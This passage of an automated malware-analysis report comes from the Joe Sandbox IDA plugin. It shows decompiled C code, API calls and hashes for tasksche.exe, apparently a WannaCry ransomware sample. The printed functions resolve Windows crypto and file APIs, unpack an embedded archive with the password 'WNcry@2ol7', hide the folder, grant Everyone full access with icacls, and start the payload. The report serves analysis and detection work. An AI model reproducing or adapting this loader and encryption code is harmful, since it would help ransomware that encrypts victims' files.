					goto L11;
				}
				_t25 =  *0x40f88c; // 0x0
				if(_t25 == 0 || _t11 == 0) {
					goto L11;
				} else {
					goto L10;
				}
			}













                                                                                                0x00401713
                                                                                                0x004017d8
                                                                                                0x00000000
                                                                                                0x004017d8
                                                                                                0x0040171b
                                                                                                0x00401721
                                                                                                0x004017d3
                                                                                                0x004017d5
                                                                                                0x00000000
                                                                                                0x004017d5
                                                                                                0x00401732
                                                                                                0x00401736
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00401751
                                                                                                0x0040175e
                                                                                                0x0040176b
                                                                                                0x00401778
                                                                                                0x00401785
                                                                                                0x00401792
                                                                                                0x00401797
                                                                                                0x00401799
                                                                                                0x0040179f
                                                                                                0x004017a5
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x004017a7
                                                                                                0x004017ad
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x004017af
                                                                                                0x004017b5
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x004017b7
                                                                                                0x004017bd
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x004017bf
                                                                                                0x004017c5
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x004017c7
                                                                                                0x004017cd
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00000000

                                                                                                APIs
                                                                                                  • Part of subcall function 00401A45: LoadLibraryA.KERNEL32(advapi32.dll,?,?,00401711), ref: 00401A5A
                                                                                                  • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptAcquireContextA,?,?,?,00401711), ref: 00401A77
                                                                                                  • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptImportKey,?,?,?,00401711), ref: 00401A84
                                                                                                  • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptDestroyKey,?,?,?,00401711), ref: 00401A91
                                                                                                  • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptEncrypt,?,?,?,00401711), ref: 00401A9E
                                                                                                  • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptDecrypt,?,?,?,00401711), ref: 00401AAB
                                                                                                  • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptGenKey,?,?,?,00401711), ref: 00401AB8
                                                                                                • LoadLibraryA.KERNEL32(kernel32.dll), ref: 0040172C
                                                                                                • GetProcAddress.KERNEL32(00000000,CreateFileW), ref: 00401749
                                                                                                • GetProcAddress.KERNEL32(00000000,WriteFile), ref: 00401756
                                                                                                • GetProcAddress.KERNEL32(00000000,ReadFile), ref: 00401763
                                                                                                • GetProcAddress.KERNEL32(00000000,MoveFileW), ref: 00401770
                                                                                                • GetProcAddress.KERNEL32(00000000,MoveFileExW), ref: 0040177D
                                                                                                • GetProcAddress.KERNEL32(00000000,DeleteFileW), ref: 0040178A
                                                                                                • GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 00401797
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 0000001F.00000002.345636345.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 0000001F.00000002.345598003.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345650679.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345697523.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345710016.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_31_2_400000_tasksche.jbxd
                                                                                                Yara matches
                                                                                                Similarity
                                                                                                • API ID: AddressProc$LibraryLoad
                                                                                                • String ID: CloseHandle$CreateFileW$DeleteFileW$MoveFileExW$MoveFileW$ReadFile$WriteFile$kernel32.dll
                                                                                                • API String ID: 2238633743-1294736154
                                                                                                • Opcode ID: 39239a652de09aa7f9a0fc3aed99621d6525255b515761ed1c17c464bdaba5bf
                                                                                                • Instruction ID: c344c10c919c95db3ecd10b94979b50738023765c799e55a58251b06a1d00095
                                                                                                • Opcode Fuzzy Hash: 39239a652de09aa7f9a0fc3aed99621d6525255b515761ed1c17c464bdaba5bf
                                                                                                • Instruction Fuzzy Hash: D9118E729003059ACB30BF73AE84A577AF8A644751B64483FE501B3EF0D77894499E1E
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 00401A45 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 56libraryloaderCOMMON
                                                                                                Download Yara Rule
                                                                                                C-Code - Quality: 100%
                                                                                                			E00401A45() {
				void* _t1;
				_Unknown_base(*)()* _t9;
				struct HINSTANCE__* _t11;
				intOrPtr _t15;
				intOrPtr _t17;
				intOrPtr _t18;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;

				_t15 =  *0x40f894; // 0x0
				if(_t15 != 0) {
					L8:
					_t1 = 1;
					return _t1;
				}
				_t11 = LoadLibraryA("advapi32.dll");
				if(_t11 == 0) {
					L9:
					return 0;
				}
				 *0x40f894 = GetProcAddress(_t11, "CryptAcquireContextA");
				 *0x40f898 = GetProcAddress(_t11, "CryptImportKey");
				 *0x40f89c = GetProcAddress(_t11, "CryptDestroyKey");
				 *0x40f8a0 = GetProcAddress(_t11, "CryptEncrypt");
				 *0x40f8a4 = GetProcAddress(_t11, "CryptDecrypt");
				_t9 = GetProcAddress(_t11, "CryptGenKey");
				_t17 =  *0x40f894; // 0x0
				 *0x40f8a8 = _t9;
				if(_t17 == 0) {
					goto L9;
				}
				_t18 =  *0x40f898; // 0x0
				if(_t18 == 0) {
					goto L9;
				}
				_t19 =  *0x40f89c; // 0x0
				if(_t19 == 0) {
					goto L9;
				}
				_t20 =  *0x40f8a0; // 0x0
				if(_t20 == 0) {
					goto L9;
				}
				_t21 =  *0x40f8a4; // 0x0
				if(_t21 == 0 || _t9 == 0) {
					goto L9;
				} else {
					goto L8;
				}
			}












                                                                                                0x00401a48
                                                                                                0x00401a4f
                                                                                                0x00401aec
                                                                                                0x00401aee
                                                                                                0x00000000
                                                                                                0x00401aee
                                                                                                0x00401a60
                                                                                                0x00401a64
                                                                                                0x00401af1
                                                                                                0x00000000
                                                                                                0x00401af1
                                                                                                0x00401a7f
                                                                                                0x00401a8c
                                                                                                0x00401a99
                                                                                                0x00401aa6
                                                                                                0x00401ab3
                                                                                                0x00401ab8
                                                                                                0x00401aba
                                                                                                0x00401ac0
                                                                                                0x00401ac6
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00401ac8
                                                                                                0x00401ace
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00401ad0
                                                                                                0x00401ad6
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00401ad8
                                                                                                0x00401ade
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00401ae0
                                                                                                0x00401ae6
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00000000

                                                                                                APIs
                                                                                                • LoadLibraryA.KERNEL32(advapi32.dll,?,?,00401711), ref: 00401A5A
                                                                                                • GetProcAddress.KERNEL32(00000000,CryptAcquireContextA,?,?,?,00401711), ref: 00401A77
                                                                                                • GetProcAddress.KERNEL32(00000000,CryptImportKey,?,?,?,00401711), ref: 00401A84
                                                                                                • GetProcAddress.KERNEL32(00000000,CryptDestroyKey,?,?,?,00401711), ref: 00401A91
                                                                                                • GetProcAddress.KERNEL32(00000000,CryptEncrypt,?,?,?,00401711), ref: 00401A9E
                                                                                                • GetProcAddress.KERNEL32(00000000,CryptDecrypt,?,?,?,00401711), ref: 00401AAB
                                                                                                • GetProcAddress.KERNEL32(00000000,CryptGenKey,?,?,?,00401711), ref: 00401AB8
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 0000001F.00000002.345636345.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 0000001F.00000002.345598003.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345650679.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345697523.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345710016.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_31_2_400000_tasksche.jbxd
                                                                                                Yara matches
                                                                                                Similarity
                                                                                                • API ID: AddressProc$LibraryLoad
                                                                                                • String ID: CryptAcquireContextA$CryptDecrypt$CryptDestroyKey$CryptEncrypt$CryptGenKey$CryptImportKey$advapi32.dll
                                                                                                • API String ID: 2238633743-2459060434
                                                                                                • Opcode ID: b9d8274d123a30a539352919ce36730ce9328d7041a45cd95e79278e35d60e58
                                                                                                • Instruction ID: 9aae3444cc52ced5e7e1ad1d2a06d11cf911cb2b3a933a05a08c6ba10b936042
                                                                                                • Opcode Fuzzy Hash: b9d8274d123a30a539352919ce36730ce9328d7041a45cd95e79278e35d60e58
                                                                                                • Instruction Fuzzy Hash: 20011E32A86311EBDB30AFA5AE856677AE4EA41750368843FB104B2DB1D7F81448DE5C
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 00407136 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 272COMMON
                                                                                                Download Yara Rule
                                                                                                C-Code - Quality: 88%
                                                                                                			E00407136(intOrPtr* __ecx, void* __edx, void* _a4, char _a7, char* _a8, char _a11, signed int _a12, intOrPtr _a16) {
				long _v8;
				char _v267;
				char _v268;
				struct _FILETIME _v284;
				struct _FILETIME _v292;
				struct _FILETIME _v300;
				long _v304;
				char _v568;
				char _v828;
				intOrPtr _t78;
				intOrPtr _t89;
				intOrPtr _t91;
				intOrPtr _t96;
				intOrPtr _t97;
				char _t100;
				void* _t112;
				void* _t113;
				int _t124;
				long _t131;
				intOrPtr _t136;
				char* _t137;
				char* _t144;
				void* _t148;
				char* _t150;
				void* _t154;
				signed int _t155;
				long _t156;
				void* _t157;
				char* _t158;
				long _t159;
				intOrPtr* _t161;
				long _t162;
				void* _t163;
				void* _t164;

				_t154 = __edx;
				_t139 = __ecx;
				_t136 = _a16;
				_t161 = __ecx;
				if(_t136 == 3) {
					_t78 =  *((intOrPtr*)(__ecx + 4));
					_t155 = _a4;
					__eflags = _t155 - _t78;
					if(_t155 == _t78) {
						L14:
						_t156 = E00406880(_t139,  *_t161, _a8, _a12,  &_a7);
						__eflags = _t156;
						if(_t156 <= 0) {
							E00406A97( *_t161);
							_t14 = _t161 + 4;
							 *_t14 =  *(_t161 + 4) | 0xffffffff;
							__eflags =  *_t14;
						}
						__eflags = _a7;
						if(_a7 == 0) {
							__eflags = _t156;
							if(_t156 <= 0) {
								__eflags = _t156 - 0xffffff96;
								return ((0 | _t156 != 0xffffff96) - 0x00000001 & 0xfb001000) + 0x5000000;
							}
							return 0x600;
						} else {
							L17:
							return 0;
						}
					}
					__eflags = _t78 - 0xffffffff;
					if(_t78 != 0xffffffff) {
						E00406A97( *__ecx);
						_pop(_t139);
					}
					_t89 =  *_t161;
					 *(_t161 + 4) =  *(_t161 + 4) | 0xffffffff;
					__eflags = _t155 -  *((intOrPtr*)(_t89 + 4));
					if(_t155 >=  *((intOrPtr*)(_t89 + 4))) {
						L3:
						return 0x10000;
					} else {
						__eflags = _t155 -  *((intOrPtr*)(_t89 + 0x10));
						if(_t155 >=  *((intOrPtr*)(_t89 + 0x10))) {
							L11:
							_t91 =  *_t161;
							__eflags =  *((intOrPtr*)(_t91 + 0x10)) - _t155;
							if( *((intOrPtr*)(_t91 + 0x10)) >= _t155) {
								E0040671D(_t154,  *_t161,  *((intOrPtr*)(_t161 + 0x138)));
								 *(_t161 + 4) = _t155;
								_pop(_t139);
								goto L14;
							}
							E00406520(_t91);
							L10:
							goto L11;
						}
						E004064E2(_t139, _t89);
						goto L10;
					}
				}
				if(_t136 == 2 || _t136 == 1) {
					__eflags =  *(_t161 + 4) - 0xffffffff;
					if( *(_t161 + 4) != 0xffffffff) {
						E00406A97( *_t161);
						_pop(_t139);
					}
					_t96 =  *_t161;
					_t157 = _a4;
					 *(_t161 + 4) =  *(_t161 + 4) | 0xffffffff;
					__eflags = _t157 -  *((intOrPtr*)(_t96 + 4));
					if(_t157 >=  *((intOrPtr*)(_t96 + 4))) {
						goto L3;
					} else {
						__eflags = _t157 -  *((intOrPtr*)(_t96 + 0x10));
						if(_t157 >=  *((intOrPtr*)(_t96 + 0x10))) {
							L27:
							_t97 =  *_t161;
							__eflags =  *((intOrPtr*)(_t97 + 0x10)) - _t157;
							if( *((intOrPtr*)(_t97 + 0x10)) >= _t157) {
								E00406C40(_t161, _t154, _t157,  &_v568);
								__eflags = _v304 & 0x00000010;
								if((_v304 & 0x00000010) == 0) {
									__eflags = _t136 - 1;
									if(_t136 != 1) {
										_t158 = _a8;
										_t137 = _t158;
										_t144 = _t158;
										_t100 =  *_t158;
										while(1) {
											__eflags = _t100;
											if(_t100 == 0) {
												break;
											}
											__eflags = _t100 - 0x2f;
											if(_t100 == 0x2f) {
												L44:
												_t137 =  &(_t144[1]);
												L45:
												_t100 = _t144[1];
												_t144 =  &(_t144[1]);
												continue;
											}
											__eflags = _t100 - 0x5c;
											if(_t100 != 0x5c) {
												goto L45;
											}
											goto L44;
										}
										strcpy( &_v268, _t158);
										__eflags = _t137 - _t158;
										if(_t137 != _t158) {
											 *(_t163 + _t137 - _t158 - 0x108) =  *(_t163 + _t137 - _t158 - 0x108) & 0x00000000;
											__eflags = _v268 - 0x2f;
											if(_v268 == 0x2f) {
												L56:
												wsprintfA( &_v828, "%s%s",  &_v268, _t137);
												E00407070(0,  &_v268);
												_t164 = _t164 + 0x18;
												L49:
												__eflags = 0;
												_t112 = CreateFileA( &_v828, 0x40000000, 0, 0, 2, _v304, 0);
												L50:
												__eflags = _t112 - 0xffffffff;
												_a4 = _t112;
												if(_t112 != 0xffffffff) {
													_t113 = E0040671D(_t154,  *_t161,  *((intOrPtr*)(_t161 + 0x138)));
													__eflags =  *(_t161 + 0x13c);
													_pop(_t148);
													if( *(_t161 + 0x13c) == 0) {
														L00407700();
														_t148 = 0x4000;
														 *(_t161 + 0x13c) = _t113;
													}
													_t60 =  &_a12;
													 *_t60 = _a12 & 0x00000000;
													__eflags =  *_t60;
													while(1) {
														_t159 = E00406880(_t148,  *_t161,  *(_t161 + 0x13c), 0x4000,  &_a11);
														_t164 = _t164 + 0x10;
														__eflags = _t159 - 0xffffff96;
														if(_t159 == 0xffffff96) {
															break;
														}
														__eflags = _t159;
														if(__eflags < 0) {
															L68:
															_a12 = 0x5000000;
															L71:
															__eflags = _a16 - 1;
															if(_a16 != 1) {
																CloseHandle(_a4);
															}
															E00406A97( *_t161);
															return _a12;
														}
														if(__eflags <= 0) {
															L64:
															__eflags = _a11;
															if(_a11 != 0) {
																SetFileTime(_a4,  &_v292,  &_v300,  &_v284);
																goto L71;
															}
															__eflags = _t159;
															if(_t159 == 0) {
																goto L68;
															}
															continue;
														}
														_t124 = WriteFile(_a4,  *(_t161 + 0x13c), _t159,  &_v8, 0);
														__eflags = _t124;
														if(_t124 == 0) {
															_a12 = 0x400;
															goto L71;
														}
														goto L64;
													}
													_a12 = 0x1000;
													goto L71;
												}
												return 0x200;
											}
											__eflags = _v268 - 0x5c;
											if(_v268 == 0x5c) {
												goto L56;
											}
											__eflags = _v268;
											if(_v268 == 0) {
												L48:
												_t160 = _t161 + 0x140;
												wsprintfA( &_v828, "%s%s%s", _t161 + 0x140,  &_v268, _t137);
												E00407070(_t160,  &_v268);
												_t164 = _t164 + 0x1c;
												goto L49;
											}
											__eflags = _v267 - 0x3a;
											if(_v267 != 0x3a) {
												goto L48;
											}
											goto L56;
										}
										_t37 =  &_v268;
										 *_t37 = _v268 & 0x00000000;
										__eflags =  *_t37;
										goto L48;
									}
									_t112 = _a8;
									goto L50;
								}
								__eflags = _t136 - 1;
								if(_t136 == 1) {
									goto L17;
								}
								_t150 = _a8;
								_t131 =  *_t150;
								__eflags = _t131 - 0x2f;
								if(_t131 == 0x2f) {
									L35:
									_push(_t150);
									_push(0);
									L37:
									E00407070();
									goto L17;
								}
								__eflags = _t131 - 0x5c;
								if(_t131 == 0x5c) {
									goto L35;
								}
								__eflags = _t131;
								if(_t131 == 0) {
									L36:
									_t162 = _t161 + 0x140;
									__eflags = _t162;
									_push(_t150);
									_push(_t162);
									goto L37;
								}
								__eflags = _t150[1] - 0x3a;
								if(_t150[1] != 0x3a) {
									goto L36;
								}
								goto L35;
							}
							E00406520(_t97);
							L26:
							goto L27;
						}
						E004064E2(_t139, _t96);
						goto L26;
					}
				} else {
					goto L3;
				}
			}





































                                                                                                0x00407136
                                                                                                0x00407136
                                                                                                0x00407140
                                                                                                0x00407148
                                                                                                0x0040714a
                                                                                                0x00407168
                                                                                                0x0040716b
                                                                                                0x0040716e
                                                                                                0x00407170
                                                                                                0x004071b7
                                                                                                0x004071c8
                                                                                                0x004071cd
                                                                                                0x004071cf
                                                                                                0x004071d3
                                                                                                0x004071d8
                                                                                                0x004071d8
                                                                                                0x004071d8
                                                                                                0x004071dc
                                                                                                0x004071dd
                                                                                                0x004071e1
                                                                                                0x004071ea
                                                                                                0x004071ec
                                                                                                0x004071fa
                                                                                                0x00000000
                                                                                                0x00407206
                                                                                                0x00000000
                                                                                                0x004071e3
                                                                                                0x004071e3
                                                                                                0x00000000
                                                                                                0x004071e3
                                                                                                0x004071e1
                                                                                                0x00407172
                                                                                                0x00407175
                                                                                                0x00407179
                                                                                                0x0040717e
                                                                                                0x0040717e
                                                                                                0x0040717f
                                                                                                0x00407181
                                                                                                0x00407185
                                                                                                0x00407188
                                                                                                0x0040715e
                                                                                                0x00000000
                                                                                                0x0040718a
                                                                                                0x0040718a
                                                                                                0x0040718d
                                                                                                0x00407196
                                                                                                0x00407196
                                                                                                0x00407198
                                                                                                0x0040719b
                                                                                                0x004071ad
                                                                                                0x004071b3
                                                                                                0x004071b6
                                                                                                0x00000000
                                                                                                0x004071b6
                                                                                                0x0040719e
                                                                                                0x00407195
                                                                                                0x00000000
                                                                                                0x00407195
                                                                                                0x00407190
                                                                                                0x00000000
                                                                                                0x00407190
                                                                                                0x00407188
                                                                                                0x0040714f
                                                                                                0x00407210
                                                                                                0x00407214
                                                                                                0x00407218
                                                                                                0x0040721d
                                                                                                0x0040721d
                                                                                                0x0040721e
                                                                                                0x00407220
                                                                                                0x00407223
                                                                                                0x00407227
                                                                                                0x0040722a
                                                                                                0x00000000
                                                                                                0x00407230
                                                                                                0x00407230
                                                                                                0x00407233
                                                                                                0x0040723c
                                                                                                0x0040723c
                                                                                                0x0040723e
                                                                                                0x00407241
                                                                                                0x00407255
                                                                                                0x0040725a
                                                                                                0x00407261
                                                                                                0x0040729c
                                                                                                0x0040729f
                                                                                                0x004072a9
                                                                                                0x004072ac
                                                                                                0x004072ae
                                                                                                0x004072b0
                                                                                                0x004072b2
                                                                                                0x004072b2
                                                                                                0x004072b4
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x004072b6
                                                                                                0x004072b8
                                                                                                0x004072be
                                                                                                0x004072be
                                                                                                0x004072c1
                                                                                                0x004072c1
                                                                                                0x004072c4
                                                                                                0x00000000
                                                                                                0x004072c4
                                                                                                0x004072ba
                                                                                                0x004072bc
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x004072bc
                                                                                                0x004072cf
                                                                                                0x004072d5
                                                                                                0x004072d8
                                                                                                0x00407347
                                                                                                0x0040734f
                                                                                                0x00407356
                                                                                                0x0040737b
                                                                                                0x0040738f
                                                                                                0x0040739e
                                                                                                0x004073a3
                                                                                                0x00407312
                                                                                                0x00407312
                                                                                                0x0040732b
                                                                                                0x00407331
                                                                                                0x00407331
                                                                                                0x00407334
                                                                                                0x00407337
                                                                                                0x004073b3
                                                                                                0x004073b8
                                                                                                0x004073c0
                                                                                                0x004073c6
                                                                                                0x004073c9
                                                                                                0x004073ce
                                                                                                0x004073cf
                                                                                                0x004073cf
                                                                                                0x004073d5
                                                                                                0x004073d5
                                                                                                0x004073d5
                                                                                                0x004073d9
                                                                                                0x004073eb
                                                                                                0x004073ed
                                                                                                0x004073f0
                                                                                                0x004073f3
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x004073f5
                                                                                                0x004073f7
                                                                                                0x0040742a
                                                                                                0x0040742a
                                                                                                0x0040745a
                                                                                                0x0040745a
                                                                                                0x0040745e
                                                                                                0x00407463
                                                                                                0x00407463
                                                                                                0x0040746b
                                                                                                0x00000000
                                                                                                0x00407473
                                                                                                0x004073f9
                                                                                                0x00407415
                                                                                                0x00407415
                                                                                                0x00407419
                                                                                                0x00407454
                                                                                                0x00000000
                                                                                                0x00407454
                                                                                                0x0040741b
                                                                                                0x0040741d
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x0040741f
                                                                                                0x0040740b
                                                                                                0x00407411
                                                                                                0x00407413
                                                                                                0x00407433
                                                                                                0x00000000
                                                                                                0x00407433
                                                                                                0x00000000
                                                                                                0x00407413
                                                                                                0x00407421
                                                                                                0x00000000
                                                                                                0x00407421
                                                                                                0x00000000
                                                                                                0x00407339
                                                                                                0x00407358
                                                                                                0x0040735f
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00407361
                                                                                                0x00407368
                                                                                                0x004072e1
                                                                                                0x004072e7
                                                                                                0x004072fc
                                                                                                0x0040730a
                                                                                                0x0040730f
                                                                                                0x00000000
                                                                                                0x0040730f
                                                                                                0x0040736e
                                                                                                0x00407375
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00407375
                                                                                                0x004072da
                                                                                                0x004072da
                                                                                                0x004072da
                                                                                                0x00000000
                                                                                                0x004072da
                                                                                                0x004072a1
                                                                                                0x00000000
                                                                                                0x004072a1
                                                                                                0x00407263
                                                                                                0x00407266
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x0040726c
                                                                                                0x0040726f
                                                                                                0x00407271
                                                                                                0x00407273
                                                                                                0x00407283
                                                                                                0x00407283
                                                                                                0x00407284
                                                                                                0x00407290
                                                                                                0x00407290
                                                                                                0x00000000
                                                                                                0x00407296
                                                                                                0x00407275
                                                                                                0x00407277
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00407279
                                                                                                0x0040727b
                                                                                                0x00407288
                                                                                                0x00407288
                                                                                                0x00407288
                                                                                                0x0040728e
                                                                                                0x0040728f
                                                                                                0x00000000
                                                                                                0x0040728f
                                                                                                0x0040727d
                                                                                                0x00407281
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00407281
                                                                                                0x00407244
                                                                                                0x0040723b
                                                                                                0x00000000
                                                                                                0x0040723b
                                                                                                0x00407236
                                                                                                0x00000000
                                                                                                0x00407236
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00000000

                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 0000001F.00000002.345636345.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 0000001F.00000002.345598003.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345650679.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345697523.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345710016.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_31_2_400000_tasksche.jbxd
                                                                                                Yara matches
                                                                                                Similarity
                                                                                                • API ID:
                                                                                                • String ID: %s%s$%s%s%s$:$\
                                                                                                • API String ID: 0-1100577047
                                                                                                • Opcode ID: fa5f8851d26bf09fdef4e4f1c55e900ad1a47778409aa7a1c0108d1ccba85c9d
                                                                                                • Instruction ID: 622825bbce38b7500016b977d00db7372d85e5c8e1565b3adbba59f792ee02a2
                                                                                                • Opcode Fuzzy Hash: fa5f8851d26bf09fdef4e4f1c55e900ad1a47778409aa7a1c0108d1ccba85c9d
                                                                                                • Instruction Fuzzy Hash: 42A12A31C082049BDB319F14CC44BEA7BA9AB01314F2445BFF895B62D1D73DBA95CB5A
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 0040203B Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 106stringfileCOMMON
                                                                                                Download Yara Rule
                                                                                                C-Code - Quality: 77%
                                                                                                			E0040203B(intOrPtr* __eax, void* __edi) {
				void* _t25;
				intOrPtr* _t33;
				int _t42;
				CHAR* _t63;
				void* _t64;
				char** _t66;

				__imp____p___argv();
				if(strcmp( *( *__eax + 4), "/i") != 0 || E00401B5F(_t42) == 0) {
					L4:
					if(strrchr(_t64 - 0x20c, 0x5c) != 0) {
						 *(strrchr(_t64 - 0x20c, 0x5c)) = _t42;
					}
					SetCurrentDirectoryA(_t64 - 0x20c);
					E004010FD(1);
					 *_t66 = "WNcry@2ol7";
					_push(_t42);
					L00401DAB();
					E00401E9E();
					E00401064("attrib +h .", _t42, _t42);
					E00401064("icacls . /grant Everyone:F /T /C /Q", _t42, _t42);
					_t25 = E0040170A();
					_t74 = _t25;
					if(_t25 != 0) {
						E004012FD(_t64 - 0x6e4, _t74);
						if(E00401437(_t64 - 0x6e4, _t42, _t42, _t42) != 0) {
							 *(_t64 - 4) = _t42;
							if(E004014A6(_t64 - 0x6e4, "t.wnry", _t64 - 4) != _t42 && E004021BD(_t31,  *(_t64 - 4)) != _t42) {
								_t33 = E00402924(_t32, "TaskStart");
								_t78 = _t33 - _t42;
								if(_t33 != _t42) {
									 *_t33(_t42, _t42);
								}
							}
						}
						E0040137A(_t64 - 0x6e4, _t78);
					}
					goto L13;
				} else {
					_t63 = "tasksche.exe";
					CopyFileA(_t64 - 0x20c, _t63, _t42);
					if(GetFileAttributesA(_t63) == 0xffffffff || E00401F5D(__edi) == 0) {
						goto L4;
					} else {
						L13:
						return 0;
					}
				}
			}









                                                                                                0x00402040
                                                                                                0x00402054
                                                                                                0x0040208e
                                                                                                0x004020a3
                                                                                                0x004020b1
                                                                                                0x004020b3
                                                                                                0x004020bb
                                                                                                0x004020c3
                                                                                                0x004020c8
                                                                                                0x004020cf
                                                                                                0x004020d0
                                                                                                0x004020d5
                                                                                                0x004020e1
                                                                                                0x004020ed
                                                                                                0x004020f5
                                                                                                0x004020fa
                                                                                                0x004020fc
                                                                                                0x00402104
                                                                                                0x00402119
                                                                                                0x0040212a
                                                                                                0x00402134
                                                                                                0x0040214b
                                                                                                0x00402151
                                                                                                0x00402154
                                                                                                0x00402158
                                                                                                0x00402158
                                                                                                0x00402154
                                                                                                0x00402134
                                                                                                0x00402160
                                                                                                0x00402160
                                                                                                0x00000000
                                                                                                0x00402061
                                                                                                0x00402061
                                                                                                0x0040206f
                                                                                                0x0040207f
                                                                                                0x00000000
                                                                                                0x00402165
                                                                                                0x00402165
                                                                                                0x0040216b
                                                                                                0x0040216b
                                                                                                0x0040207f

                                                                                                APIs
                                                                                                • __p___argv.MSVCRT(0040F538), ref: 00402040
                                                                                                • strcmp.MSVCRT(?), ref: 0040204B
                                                                                                • CopyFileA.KERNEL32(?,tasksche.exe), ref: 0040206F
                                                                                                • GetFileAttributesA.KERNEL32(tasksche.exe), ref: 00402076
                                                                                                  • Part of subcall function 00401F5D: GetFullPathNameA.KERNEL32(tasksche.exe,00000208,?,00000000), ref: 00401F97
                                                                                                • strrchr.MSVCRT(?,0000005C,?,?,00000000), ref: 0040209D
                                                                                                • strrchr.MSVCRT(?,0000005C), ref: 004020AE
                                                                                                • SetCurrentDirectoryA.KERNEL32(?,00000000), ref: 004020BB
                                                                                                  • Part of subcall function 00401B5F: MultiByteToWideChar.KERNEL32(00000000,00000000,0040F8AC,000000FF,?,00000063), ref: 00401BCA
                                                                                                  • Part of subcall function 00401B5F: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00401BDD
                                                                                                  • Part of subcall function 00401B5F: swprintf.MSVCRT(?,%s\ProgramData,?), ref: 00401C04
                                                                                                  • Part of subcall function 00401B5F: GetFileAttributesW.KERNEL32(?), ref: 00401C10
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 0000001F.00000002.345636345.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 0000001F.00000002.345598003.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345650679.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345697523.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345710016.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_31_2_400000_tasksche.jbxd
                                                                                                Yara matches
                                                                                                Similarity
                                                                                                • API ID: File$AttributesDirectorystrrchr$ByteCharCopyCurrentFullMultiNamePathWideWindows__p___argvstrcmpswprintf
                                                                                                • String ID: TaskStart$attrib +h .$icacls . /grant Everyone:F /T /C /Q$t.wnry$tasksche.exe
                                                                                                • API String ID: 1074704982-2844324180
